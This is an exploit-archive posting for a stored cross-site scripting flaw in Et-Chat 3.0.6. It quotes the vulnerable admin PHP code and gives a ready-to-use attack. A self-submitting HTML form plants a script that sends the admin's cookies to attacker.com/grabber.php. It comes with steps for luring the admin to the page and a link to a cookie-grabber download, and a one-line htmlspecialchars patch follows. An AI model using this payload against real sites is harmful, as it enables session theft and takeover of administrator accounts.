what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Et-Chat 3.0.6 Cross Site Scripting

Et-Chat 3.0.6 Cross Site Scripting
Posted Mar 21, 2015
Authored by IRaNHaCK Security Team

Et-Chat version 3.0.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 80e1a4d6b660f8125854153118580e5f380c83819f4170fcf51420d028dfeb57

Et-Chat 3.0.6 Cross Site Scripting

Change Mirror Download
# Exploit Title: Et-Chat 3.0.6 Cross Site Scripting Vulnerability

# Google Dork: "ET-Chat v3.0.6"

# Date: 2015-03-20

# Exploit Author: IranHack Security Team

# Tested on: Windows 7

# Vendor : Www.Et-chat.Ir

# Our Website : Www.IranHack.Org

***************************************************

Vulnerable code :

Location : /etchat/class/admin/AdminRoomsIndex.class.php


Code :


if (is_array($feld)){
$print_room_list = "<table>";
foreach($feld as $datasets){
if ($datasets[0]!=1)
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td>&nbsp;&nbsp;&nbsp;</td><td><a href=\"./?AdminDeleteRoom&id=".$datasets[0]."&cs4rue=".$_SESSION['etchat_'.$this->_prefix.'CheckSum4RegUserEdit']."\">".$lang->delete[0]->tagData."</a></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td>&nbsp;&nbsp;&nbsp;<i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";
else
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td>&nbsp;&nbsp;&nbsp;</td><td style=\"color: #888888;\"><strike>".$lang->delete[0]->tagData."</strike></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td>&nbsp;&nbsp;&nbsp;<i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";
}
$print_room_list.= "</table>";
}


***************************************************

Description :

This vulnerability allows attacker to grab admin cookie and login with admin account :)

The reason of this vulnerability is that values of the room list ( ".$datasets[1]." ) is not filtered and

allows attacker to run javascript code.

***************************************************


Exploit :

1- Upload this page in a host or Set this code in a html page :

<html>
<body>
<form name="exploit" action="http://target.com/etchat/?AdminCreateNewRoom"
method="POST">

<input type="hidden" name="room"

value="<script>location.href="http://attacker.com/grabber.php?cookie="+escape(document.cookie)</script>

" />
<script>document.exploit.submit(); </script>
</form>
</body>
</html>


2- Give the uploaded html page address to admin.

3- after opening this page by admin , cookies are logged in Log.txt :)

***************************************************

grabber.php : http://up.iranhack.org/uploads/lquswjwo06vrxz1fe4oo.zip

***************************************************

Patch :

If u wanna patch this bug , go to file " /etchat/class/admin/AdminRoomsIndex.class.php "

Replace this codes : ".$datasets[1]."

With this code : ".htmlspecialchars($datasets[1])."

***************************************************

Greetz :

Mr.XpR , V30Sharp , AL1R3Z4 , Secret.Walker , Irblackhat , FarbodEZRaeL , black-sec , Mr.X2 , @3is , IR4N0nY , , 0x8F , Amirio , 3cure , FTA_Boy , Mr.FixXxer

./Moji.Rider
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close